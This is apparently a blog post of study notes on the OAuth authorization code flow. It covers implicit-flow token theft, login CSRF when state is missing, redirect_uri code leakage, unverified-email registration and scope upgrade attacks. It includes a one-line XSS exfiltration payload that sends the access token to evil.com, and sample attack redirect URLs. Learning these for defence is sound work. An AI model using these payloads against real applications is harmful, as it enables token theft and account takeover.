Sitemap

OAuth Attacks

--

This rough DOC is for understanding the OAuth flow and its vulnerabilities.

Understanding which requests go through the user’s browser vs which happen server-to-server is the key to understanding OAuth security.

Below is a clear flow chart with labels for:

  • 🧑‍💻 Browser request (User → App/Provider)
  • 🔒 Server-to-server request (App ↔ OAuth provider)

Secure OAuth Flow (Authorization Code Flow)

Actors

  • User Browser
  • Application Server (App)
  • OAuth Provider (Google, GitHub, etc.)

Step-by-Step Flow Chart with Request Types

Step 1
User Browser → App
(GET /login)
Type: 🧑‍💻 Browser request
Purpose: User clicks "Login with Google"
Step 2
App generates:
state = RANDOM123
Stores it in user session
App → Browser:
Redirect to OAuth provider
Location:
https://provider.com/authorize?
client_id=APP123
redirect_uri=https://app.com/callback
response_type=code
state=RANDOM123
Type: 🧑‍💻 Browser redirect
Purpose: Send user to OAuth provider login
Step 3
Browser → OAuth Provider
(GET /authorize?...state=RANDOM123)
Type: 🧑‍💻 Browser request
Purpose: User logs in at provider

User enters:

  • Username
  • Password
  • MFA
Step 4
OAuth Provider → Browser
Redirect to:
https://app.com/callback?
code=AUTH_CODE_ABC
state=RANDOM123
Type: 🧑‍💻 Browser redirect
Purpose: Send authorization code back to app
Step 5
Browser → App
(GET /callback?code=AUTH_CODE_ABC&state=RANDOM123)
Type: 🧑‍💻 Browser request
Purpose: Deliver code to app

App now:

  • Verifies state
  • Extracts code
Step 6
App → OAuth Provider
POST /token
Body:
code=AUTH_CODE_ABC
client_id=APP123
client_secret=SECRET
Type: 🔒 Server-to-server request
Purpose: Exchange code for access token

IMPORTANT:
This step does NOT go through the browser.

The browser never sees:

  • client_secret
  • access_token
Step 7
OAuth Provider → App
Response:
access_token=TOKEN_XYZ
Type: 🔒 Server-to-server response
Purpose: Provide access token
Step 8
App → OAuth Provider
GET /userinfo
Authorization: Bearer TOKEN_XYZ
Type: 🔒 Server-to-server request
Purpose: Get user identity
Step 9
App creates session
App → Browser
Set-Cookie: session=USER_SESSION
Type: 🧑‍💻 Browser response
Purpose: Log user into app

Summary Table (Very Important)

StepRequestType

User clicks loginBrowser → App🧑‍💻 BrowserRedirect to providerApp → Browser → Provider🧑‍💻 BrowserUser logs inBrowser → Provider🧑‍💻 BrowserProvider sends codeProvider → Browser → App🧑‍💻 BrowserCode exchangeApp → Provider🔒 Server-to-serverToken responseProvider → App🔒 Server-to-serverGet user infoApp → Provider🔒 Server-to-serverLogin sessionApp → Browser🧑‍💻 Browser

Simple Rule to Remember

Browser handles:

  • Login
  • Redirects
  • Authorization code

Server handles:

  • Code → token exchange
  • User info retrieval
  • Session creation

Why this separation is important

If token exchange happens in browser (implicit flow)

Then:

Provider → Browser:
#access_token=TOKEN123

Now the browser:

  • Can leak the token
  • XSS can steal it
  • Extensions can read it

That’s why implicit flow is insecure.

Visual Comparison

Secure Authorization Code Flow

Browser:
login
redirects
sends code
Server:
exchanges code
receives token
creates session

Insecure Implicit Flow

What implicit flow does

Instead of sending a code:

Provider sends access token directly to browser.

Example:

https://app.com/callback#access_token=ABC123

Why this is dangerous

Token is exposed to:

  • Browser history
  • JavaScript
  • Malicious scripts
  • Browser extensions
  • Referrer headers

Real attack scenario (XSS)

If app has XSS:

Attacker injects:

fetch("https://evil.com/steal?token=" + location.hash)

Victim logs in.

Browser loads:

#access_token=ABC123

Script runs:
Token sent to attacker.

Result

Attacker now has:

access_token=ABC123

And can:

  • Access user data
  • Act as victim

How state attack fits into this

The vulnerable part is:

Step 5
Browser → App
/callback?code=ATTACKER_CODE

What state prevents

It prevents login CSRF or account-binding attacks.

Real-world exploitation scenario

Step-by-step attack

Assume:

  • Victim uses App.com
  • App uses OAuth login
  • App does not validate state

Step 1: Attacker logs into OAuth

Attacker clicks:

Login with Google

Attacker is redirected to:

https://app.com/callback?code=ATTACKER_CODE

But attacker does not complete login.

Get Mikee’s stories in your inbox

Join Medium for free to get updates from this writer.

Instead, attacker copies this URL.

Step 2: Attacker tricks victim

Attacker sends victim:

https://app.com/callback?code=ATTACKER_CODE

Via:

  • Email
  • Chat
  • Malicious website
  • Hidden iframe

Step 3: Victim visits the link

Victim’s browser loads:

https://app.com/callback?code=ATTACKER_CODE

App:

  • Exchanges code for token
  • Gets attacker’s identity
  • Logs victim into attacker’s account

Result

Victim is now logged into attacker’s account.

Why this is dangerous:

If victim:

  • Adds personal data
  • Uploads files
  • Connects bank account
  • Stores API keys

Attacker can later log in and steal it.

This is called:
Account pre-hijacking / login CSRF

Why state prevents this

Because:

Attacker link:
...callback?code=ATTACKER_CODE

But app expects:

...callback?code=CODE&state=RANDOM123

Since attacker doesn’t know victim’s state:
→ login fails

If no state validation:

  • App accepts code
  • Exchanges it
  • Logs victim into attacker account

redirect_uri Exploitation (Real attack)

What redirect_uri does

It tells the OAuth provider:

“Send the authorization code to this URL.”

Secure behavior

Provider should allow only:

https://app.com/callback

Vulnerable behavior

Provider allows:

https://app.com/callback?next=ANYTHING

Real attack scenario

Step 1: Attacker creates malicious redirect

Attacker uses:

redirect_uri=https://app.com/callback?next=https://evil.com

Step 2: Victim logs in

OAuth provider sends:

https://app.com/callback?
code=VICTIM_CODE
&next=https://evil.com

App processes code, then redirects to:

https://evil.com?code=VICTIM_CODE

Step 3: Attacker steals code

Attacker server receives:

code=VICTIM_CODE

Attacker exchanges code for token.

Result

Attacker logs in as victim.

Unverified User Registration Exploit

Vulnerable scenario

OAuth provider:

  • Allows account creation
  • Does not verify email

Real attack

Step 1: Attacker registers at provider

Attacker creates account:

Email: victim@company.com

No email verification required.

Step 2: Attacker logs into target app

Attacker clicks:

Login with OAuth

Provider sends:

email = victim@company.com

Scope Upgrade Attack (Real example)

Normal request

scope=email

Attacker modifies it to:

scope=email+admin

If provider doesn’t validate:

  • Attacker gets admin scope

Result

Attacker:

  • Reads sensitive data
  • Performs privileged actions

One-sentence memory trick

Everything before the authorization code is browser-based; everything after the code exchange must be server-to-server.

Remeber these things roughly:

  • Secure flow
  • State attack
  • redirect_uri attack
  • Implicit flow token theft

--

--